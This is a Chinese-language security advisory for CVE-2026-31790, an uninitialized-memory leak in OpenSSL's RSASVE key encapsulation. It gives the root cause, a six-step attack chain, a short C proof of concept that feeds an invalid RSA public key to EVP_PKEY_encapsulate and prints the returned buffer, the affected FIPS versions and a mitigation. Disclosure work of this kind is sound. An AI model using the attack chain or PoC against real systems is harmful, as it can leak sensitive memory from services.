IPBUF安全漏洞报告
English
CVE-2026-31790 CVSS 7.5 高危

CVE-2026-31790 OpenSSL RSASVE密钥封装信息泄露漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-31790
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenSSL

相关标签

信息泄露OpenSSLRSA密钥封装未初始化内存CVE-2026-31790

漏洞概述

OpenSSL RSA SVE密钥封装机制存在逻辑缺陷,允许攻击者诱导应用程序使用无效公钥。由于错误代码检查不严谨,系统会将未初始化的内存缓冲区内容误判为有效密文并发送,导致敏感数据泄露。该问题主要影响OpenSSL FIPS模块。

技术细节

该漏洞根源在于OpenSSL在实现EVP_PKEY_encapsulate()接口时,对底层RSA_public_encrypt()函数返回值的逻辑判断存在缺陷。RSA_public_encrypt()在成功时返回写入的字节数,失败时返回-1,但受影响代码仅检查返回值是否非零。因此,当加密失败时,封装操作仍会向调用者返回成功状态。如果应用程序使用攻击者提供的无效RSA公钥进行封装,且未预先调用EVP_PKEY_public_check()验证密钥有效性,系统将直接使用未初始化的密文缓冲区数据。这导致攻击者能接收到包含前次进程敏感数据的未初始化内存内容。此问题主要影响OpenSSL 3.0至3.6版本的FIPS模块。

攻击链分析

STEP 1
步骤1
攻击者准备一个特制的无效RSA公钥。
STEP 2
步骤2
攻击者诱导目标应用程序使用该公钥进行KEM密钥封装操作(EVP_PKEY_encapsulate)。
STEP 3
步骤3
应用程序未执行密钥有效性检查(EVP_PKEY_public_check),直接调用封装函数。
STEP 4
步骤4
内部RSA加密失败,但OpenSSL代码逻辑错误地返回成功状态。
STEP 5
步骤5
应用程序将未初始化的内存缓冲区内容作为密文发送给攻击者。
STEP 6
步骤6
攻击者解析接收到的数据,获取内存中的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <openssl/evp.h> #include <openssl/pem.h> #include <stdio.h> // Conceptual PoC for CVE-2026-31790 // Demonstrates uninitialized memory disclosure risk // when using an invalid RSA key with EVP_PKEY_encapsulate. int main() { EVP_PKEY_CTX *ctx = NULL; EVP_PKEY *pkey = NULL; unsigned char out[256]; // Ciphertext buffer size_t outlen; // 1. Load an attacker-controlled invalid RSA public key FILE *fp = fopen("invalid_rsa_pub.pem", "r"); if (!fp) return 1; PEM_read_PUBKEY(fp, &pkey, NULL, NULL); fclose(fp); // 2. Create encapsulation context ctx = EVP_PKEY_CTX_new(pkey, NULL); EVP_PKEY_encapsulate_init(ctx, NULL); // 3. Vulnerable Code Path: // If EVP_PKEY_public_check() is NOT called here, // and the key causes internal encryption failure, // 'out' buffer may contain uninitialized data. // Workaround (Uncomment to fix): // EVP_PKEY_public_check(ctx); // 4. Perform encapsulate if (EVP_PKEY_encapsulate(ctx, out, &outlen, NULL, 0) <= 0) { printf("Encapsulation failed.\n"); } else { printf("Encapsulation succeeded. Output buffer contents:\n"); for(int i=0; i<outlen; i++) printf("%02x", out[i]); printf("\n"); } EVP_PKEY_CTX_free(ctx); EVP_PKEY_free(pkey); return 0; }

影响范围

OpenSSL FIPS Module 3.0
OpenSSL FIPS Module 3.1
OpenSSL FIPS Module 3.3
OpenSSL FIPS Module 3.4
OpenSSL FIPS Module 3.5
OpenSSL FIPS Module 3.6

防御指南

临时缓解措施
作为临时缓解措施,开发者应在调用EVP_PKEY_encapsulate()函数之前,务必先调用EVP_PKEY_public_check()或EVP_PKEY_public_check_quick()对攻击者提供的RSA公钥进行有效性验证,确保密钥合法后再进行封装操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表